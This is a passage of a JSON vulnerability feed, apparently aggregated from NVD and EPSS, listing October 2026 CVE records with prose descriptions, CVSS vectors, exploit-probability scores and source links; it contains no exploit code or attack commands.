score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112066&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112066, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112064","cveId":"CVE-2026-112064","aliases":[],"kind":"vulnerability","title":"The backend module for reviewing the consent history accepted sorting, grouping and index options from the request and used them in a database query without validation.","summary":"The backend module for reviewing the consent history accepted sorting, grouping and index options from the request and used them in a database query without validation. Only the filter conditions of that query were bound as parameters. A backend user with access to the history or statistics functions could use this to read arbitrary data from the database, including password hashes of backend and frontend users.","detail":"The backend module for reviewing the consent history accepted sorting, grouping and index options from the request and used them in a database query without validation. Only the filter conditions of that query were bound as parameters. A backend user with access to the history or statistics functions could use this to read arbitrary data from the database, including password hashes of backend and frontend users.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T10:17:03.467Z","updatedAt":"2026-10-20T19:28:52.970Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112064","asOf":"2026-10-20T19:28:52.970Z"},"epss":{"probability":0.00366,"percentile":0.30197,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112064&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112064","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112064","type":"primary","publishedAt":"2026-10-20T10:17:03.467Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112064&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112064, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43847","cveId":"CVE-2026-43847","aliases":[],"kind":"vulnerability","title":"A vulnerability in the proprietary protocol could allow an attacker to brute force the administrator password without restrictions, even when the SafeEnhancement feature is...","summary":"A vulnerability in the proprietary protocol could allow an attacker to brute force the administrator password without restrictions, even when the SafeEnhancement feature is enabled.","detail":"A vulnerability in the proprietary protocol could allow an attacker to brute force the administrator password without restrictions, even when the SafeEnhancement feature is enabled.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T09:17:11.117Z","updatedAt":"2026-10-20T19:30:59.910Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43847","asOf":"2026-10-20T19:30:59.910Z"},"epss":{"probability":0.00296,"percentile":0.22089,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-43847&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43847","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43847","type":"primary","publishedAt":"2026-10-20T09:17:11.117Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-43847&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-43847, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43846","cveId":"CVE-2026-43846","aliases":[],"kind":"vulnerability","title":"A stack-based buffer overflow vulnerability in a non-functional feature could allow an authenticated attacker to achieve code execution.","summary":"A stack-based buffer overflow vulnerability in a non-functional feature could allow an authenticated attacker to achieve code execution.","detail":"A stack-based buffer overflow vulnerability in a non-functional feature could allow an authenticated attacker to achieve code execution.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T09:17:11.010Z","updatedAt":"2026-10-20T19:30:59.910Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43846","asOf":"2026-10-20T19:30:59.910Z"},"epss":{"probability":0.00458,"percentile":0.39413,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-43846&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43846","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43846","type":"primary","publishedAt":"2026-10-20T09:17:11.010Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-43846&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-43846, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43839","cveId":"CVE-2026-43839","aliases":[],"kind":"vulnerability","title":"A NULL pointer dereference vulnerability in the logs management functionality could allow an unauthenticated attacker to crash the service.","summary":"A NULL pointer dereference vulnerability in the logs management functionality could allow an unauthenticated attacker to crash the service.","detail":"A NULL pointer dereference vulnerability in the logs management functionality could allow an unauthenticated attacker to crash the service.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T09:17:10.277Z","updatedAt":"2026-10-20T19:30:59.910Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43839","asOf":"2026-10-20T19:30:59.910Z"},"epss":{"probability":0.00344,"percentile":0.2763,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-43839&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43839","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43839","type":"primary","publishedAt":"2026-10-20T09:17:10.277Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-43839&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-43839, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43837","cveId":"CVE-2026-43837","aliases":[],"kind":"vulnerability","title":"A buffer overflow vulnerability in the password verification functionality could allow an attacker with guest authentication to achieve code execution.","summary":"A buffer overflow vulnerability in the password verification functionality could allow an attacker with guest authentication to achieve code execution.","detail":"A buffer overflow vulnerability in the password verification functionality could allow an attacker with guest authentication to achieve code execution.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T09:17:10.070Z","updatedAt":"2026-10-20T19:30:59.910Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43837","asOf":"2026-10-20T19:30:59.910Z"},"epss":{"probability":0.0043,"percentile":0.36966,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-43837&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43837","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43837","type":"primary","publishedAt":"2026-10-20T09:17:10.070Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-43837&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-43837, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113469","cveId":"CVE-2026-113469","aliases":[],"kind":"vulnerability","title":"A failure has been identified in the SNS during dynamic data files signature check.","summary":"A failure has been identified in the SNS during dynamic data files signature check.\n\n\n\nA logic error in the signature verification routine resulting in acceptance of unauthenticated dynamic data update during Autoupdate routine.","detail":"A failure has been identified in the SNS during dynamic data files signature check.\n\n\n\nA logic error in the signature verification routine resulting in acceptance of unauthenticated dynamic data update during Autoupdate routine.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T09:17:09.587Z","updatedAt":"2026-10-20T19:35:23.397Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113469","asOf":"2026-10-20T19:35:23.397Z"},"epss":{"probability":0.00196,"percentile":0.09267,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113469&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113469","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113469","type":"primary","publishedAt":"2026-10-20T09:17:09.587Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113469&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113469, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43835","cveId":"CVE-2026-43835","aliases":[],"kind":"vulnerability","title":"A vulnerability in the firmware upgrade functionality could allow an authenticated attacker to upload a forged firmware upgrade file, potentially compromising the device...","summary":"A vulnerability in the firmware upgrade functionality could allow an authenticated attacker to upload a forged firmware upgrade file, potentially compromising the device permanently.","detail":"A vulnerability in the firmware upgrade functionality could allow an authenticated attacker to upload a forged firmware upgrade file, potentially compromising the device permanently.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T08:16:44.207Z","updatedAt":"2026-10-20T19:30:59.910Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43835","asOf":"2026-10-20T19:30:59.910Z"},"epss":{"probability":0.00185,"percentile":0.07995,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-43835&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43835","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43835","type":"primary","publishedAt":"2026-10-20T08:16:44.207Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-43835&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-43835, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43834","cveId":"CVE-2026-43834","aliases":[],"kind":"vulnerability","title":"A stack-based buffer overflow vulnerability in the logs settings functionality could allow an authenticated attacker to achieve code execution.","summary":"A stack-based buffer overflow vulnerability in the logs settings functionality could allow an authenticated attacker to achieve code execution.","detail":"A stack-based buffer overflow vulnerability in the logs settings functionality could allow an authenticated attacker to achieve code execution.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T08:16:44.083Z","updatedAt":"2026-10-20T19:30:59.910Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43834","asOf":"2026-10-20T19:30:59.910Z"},"epss":{"probability":0.00366,"percentile":0.30191,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-43834&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43834","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43834","type":"primary","publishedAt":"2026-10-20T08:16:44.083Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-43834&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-43834, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113407","cveId":"CVE-2026-113407","aliases":[],"kind":"vulnerability","title":"BA-Workflow developed by YS-infoware has a SQL Injection vulnerability.","summary":"BA-Workflow developed by YS-infoware has a SQL Injection vulnerability. Authenticated remote attackers can inject arbitrary SQL statements to read, modify, and delete database contents.","detail":"BA-Workflow developed by YS-infoware has a SQL Injection vulnerability. Authenticated remote attackers can inject arbitrary SQL statements to read, modify, and delete database contents.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T08:16:43.130Z","updatedAt":"2026-10-20T19:28:52.970Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113407","asOf":"2026-10-20T19:28:52.970Z"},"epss":{"probability":0.00455,"percentile":0.39196,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113407&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113407","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113407","type":"primary","publishedAt":"2026-10-20T08:16:43.130Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113407&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113407, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113406","cveId":"CVE-2026-113406","aliases":[],"kind":"vulnerability","title":"BA-Workflow developed by YS-infoware has a SQL Injection vulnerability.","summary":"BA-Workflow developed by YS-infoware has a SQL Injection vulnerability. Authenticated remote attackers can inject arbitrary SQL statements to read, modify, and delete database contents.","detail":"BA-Workflow developed by YS-infoware has a SQL Injection vulnerability. Authenticated remote attackers can inject arbitrary SQL statements to read, modify, and delete database contents.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T08:16:43.000Z","updatedAt":"2026-10-22T03:16:37.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113406","asOf":"2026-10-22T03:16:37.950Z"},"epss":{"probability":0.00515,"percentile":0.43584,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113406&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113406","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113406","type":"primary","publishedAt":"2026-10-20T08:16:43.000Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113406&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113406, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113405","cveId":"CVE-2026-113405","aliases":[],"kind":"vulnerability","title":"BA-Workflow developed by YS-infoware has a SQL Injection vulnerability.","summary":"BA-Workflow developed by YS-infoware has a SQL Injection vulnerability. Authenticated remote attackers can inject arbitrary SQL statements to read, modify, and delete database contents.","detail":"BA-Workflow developed by YS-infoware has a SQL Injection vulnerability. Authenticated remote attackers can inject arbitrary SQL statements to read, modify, and delete database contents.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T08:16:42.867Z","updatedAt":"2026-10-22T03:16:37.807Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113405","asOf":"2026-10-22T03:16:37.807Z"},"epss":{"probability":0.00515,"percentile":0.43584,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113405&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113405","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113405","type":"primary","publishedAt":"2026-10-20T08:16:42.867Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113405&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113405, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112177","cveId":"CVE-2026-112177","aliases":[],"kind":"vulnerability","title":"A flaw was found in Ghostscript as shipped with Red Hat Enterprise Linux 8. The correction for CVE-2019-14869 was omitted during the rebase from version 9.25 to 9.27, leaving...","summary":"A flaw was found in Ghostscript as shipped with Red Hat Enterprise Linux 8. The correction for CVE-2019-14869 was omitted during the rebase from version 9.25 to 9.27, leaving privileged .forceput operations in the .charkeys procedure insufficiently protected. Processing a specially crafted PostScript file may allow an attacker to bypass -dSAFER restrictions and access files outside the permitted paths or execute commands with the permissions of the Ghostscript process.","detail":"A flaw was found in Ghostscript as shipped with Red Hat Enterprise Linux 8. The correction for CVE-2019-14869 was omitted during the rebase from version 9.25 to 9.27, leaving privileged .forceput operations in the .charkeys procedure insufficiently protected. Processing a specially crafted PostScript file may allow 